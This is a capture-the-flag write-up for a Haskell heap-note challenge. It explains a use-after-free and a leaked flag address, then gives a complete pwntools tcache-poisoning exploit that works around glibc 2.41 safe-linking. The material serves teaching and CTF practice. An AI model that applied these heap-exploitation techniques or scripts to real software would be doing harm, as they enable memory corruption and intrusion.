Category: PWN
Difficulty: Medium-Hard
Author: Vincent
Challenge Description
My boss said that our current note taking solution isn’t productive and functional. So I made this purely functional note taking app.
We get the full Haskell source (Main.hs), a Dockerfile, and a flag.txt. The program is a classic heap-note menu — new, write, writehex, view, delete, list — but written in Haskell on top of the C FFI allocator.
Approach
Step 1 — Read the source
The notes are stored as a list of (name, CStringLen) where CStringLen = (Ptr CChar, Int), and every allocation goes through the C heap via mallocBytes:
new args notes = do
...
b <- lift $ mallocBytes size
return $ (name, (b, size)) : notes
Two things immediately stand out.
Bug #1 — use-after-free in delete: it frees the buffer but never removes the note from the list.
delete args notes = do
name <- hoistMaybe $ args !? 0
(b, _) <- hoistMaybe $ lookup name notes
lift $ free b
lift $ putStrLn $ "Deleted note " ++ name
return notes -- <-- note stays in the list, pointing at freed memory
So after delete A, we can still view A (read the freed chunk) and writehex A (write into it). That is a textbook UAF, and combined with new re-handing-out freed chunks it gives us tcache poisoning.
Bug #2 — the flag pointer is handed to us for free:
main = do
...
flag <- readFile "flag.txt"
withCAString flag $ \cstr -> do
putStrLn "Welcome to my note taking program"
print cstr <-- prints the heap address of the flag string
...
loop []
withCAString copies the flag into a freshly malloc’d C string and print cstr leaks its address. We don’t need an ASLR leak of our own — the target address is printed at startup.
The plan writes itself: poison a tcache bin so that new returns the flag’s address, then view it.
Step 2 — The environment: glibc 2.41 & safe-linking
The Dockerfile pins Debian 13 (trixie), which ships glibc 2.41. That means the tcache uses safe-linking: a freed chunk’s forward pointer is stored mangled,
stored_fd = (address_of_fd_field >> 12) ^ next_chunk
so to forge a fd that resolves to the flag we need the per-chunk mangling key chunk_addr >> 12. Since the fd of the first chunk freed into an empty bin is XORed against NULL, freeing a chunk on its own leaks exactly chunk_addr >> 12 through view.
Step 3 — Recovering leaked bytes through the UTF-8 wall
main sets hSetEncoding stdout utf8, and view does peekCAStringLen cstr >>= putStrLn. Each raw byte is read as a Char in 0x00–0xFF and then re-encoded as UTF-8, so any byte ≥ 0x80 comes out as a two-byte sequence. That mapping is fully invertible — decode the received bytes as UTF-8 and re-encode as Latin-1 and you get the original bytes back:
def unutf8(b):
return b.decode('utf-8').encode('latin-1')
A view of a freed chunk like \xc2\x8dS\x00\x00... decodes back to [0x8d, 0x53, 0x00, ...] → chunk_addr >> 12 = 0x538d.
Step 4 — Beating the tcache count guard
_int_malloc only serves from tcache while counts[tc_idx] > 0. A single freed+poisoned chunk lets us pop the target as the new head, but the count is then 0, so the next malloc won’t return it. We need two chunks in the bin and must poison the head (the one freed last) so that after the first pop the head becomes our target and the count is still 1.
The head’s fd is mangled against the previous head’s full address (unknown), so we first do a warm-up: free B alone into an empty bin, view it to learn ptrB >> 12, then re-allocate it.
Step 5 — Avoiding the e->key = NULL write
On glibc’s tcache pop, tcache_get_n writes e->key = NULL — eight zero bytes at target + 8. Pointing the poison straight at flag_addr would blank out bytes 8–15 of the flag. Aiming at flag_addr - 16 (still 16-byte aligned, so aligned_OK passes) makes that write land on the chunk header instead, leaving the flag pristine; we just read it back at a +16 offset.
Step 6 — Full exploit
#!/usr/bin/env python3
from pwn import *
import sys, re
context.log_level = 'warn'
def conn():
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
return remote(sys.argv[2], int(sys.argv[3]), ssl=True)
return remote('127.0.0.1', 1339)
def unutf8(b):
return b.decode('utf-8').encode('latin-1')
io = conn()
start = io.recvuntil(b'> ')
flag_addr = int(re.search(rb'0x([0-9a-fA-F]+)', start).group(1), 16)
def cmd(c):
io.sendline(c.encode()); return io.recvuntil(b'> ')
S = 96
cmd('new A %d' % S)
cmd('new B %d' % S)
# leak ptrB>>12 from a clean single-chunk
cmd('delete B')
raw = unutf8(cmd('view B').split(b'\nCommands:')[0])
mB = u64(raw[:8].ljust(8, b'\x00'))
cmd('new B %d' % S)
# poison the head (B)
cmd('delete A')
cmd('delete B')
TARGET = flag_addr - 16 # key-null write hits header, not flag!
cmd('writehex B ' + enhex(p64(mB ^ TARGET)))
cmd('new C %d' % S)
cmd('new D %d' % S)
dec = unutf8(cmd('view D').split(b'\nCommands:')[0])
print(re.search(rb'brunner\{[^}]*\}', dec).group().decode())
Running it against the remote:
$ python3 solve.py remote pure-notes-840ed0352e29c9cb-danmark.challs.brunnerne.xyz 1337
b'P1\x90\x00...brunner{not_so_functional_is_it}\n...'
Flag
brunner{not_so_functional_is_it}
Reflections and Learnings
- Haskell’s FFI
mallocBytesdrops you on the same glibc heap with the same tcache semantics — the UAF was just a missing list-removal indelete, the language nothing but a costume. print cstrhanded us the flag’s heap address at startup, so no ASLR defeat was needed. Inventory what the program volunteers before writing a leak primitive of your own.- Debian 13 → glibc 2.41 → safe-linking, so the forged
fdhad to carry the per-chunkaddr>>12key (recovered from a clean single-chunk free). The recipe changes with the libc version; check it first. - the tcache count guard (need two chunks, poison the head) and the
e->key = NULLwrite (aim 16 bytes low so it lands on the chunk header, not the flag) are the details that separate a working poison from a corrupted result. The UTF-8 wall was the same lesson — the re-encode was cleanly invertible (decode utf-8, re-encode latin-1), so it was a nuisance, not a blocker.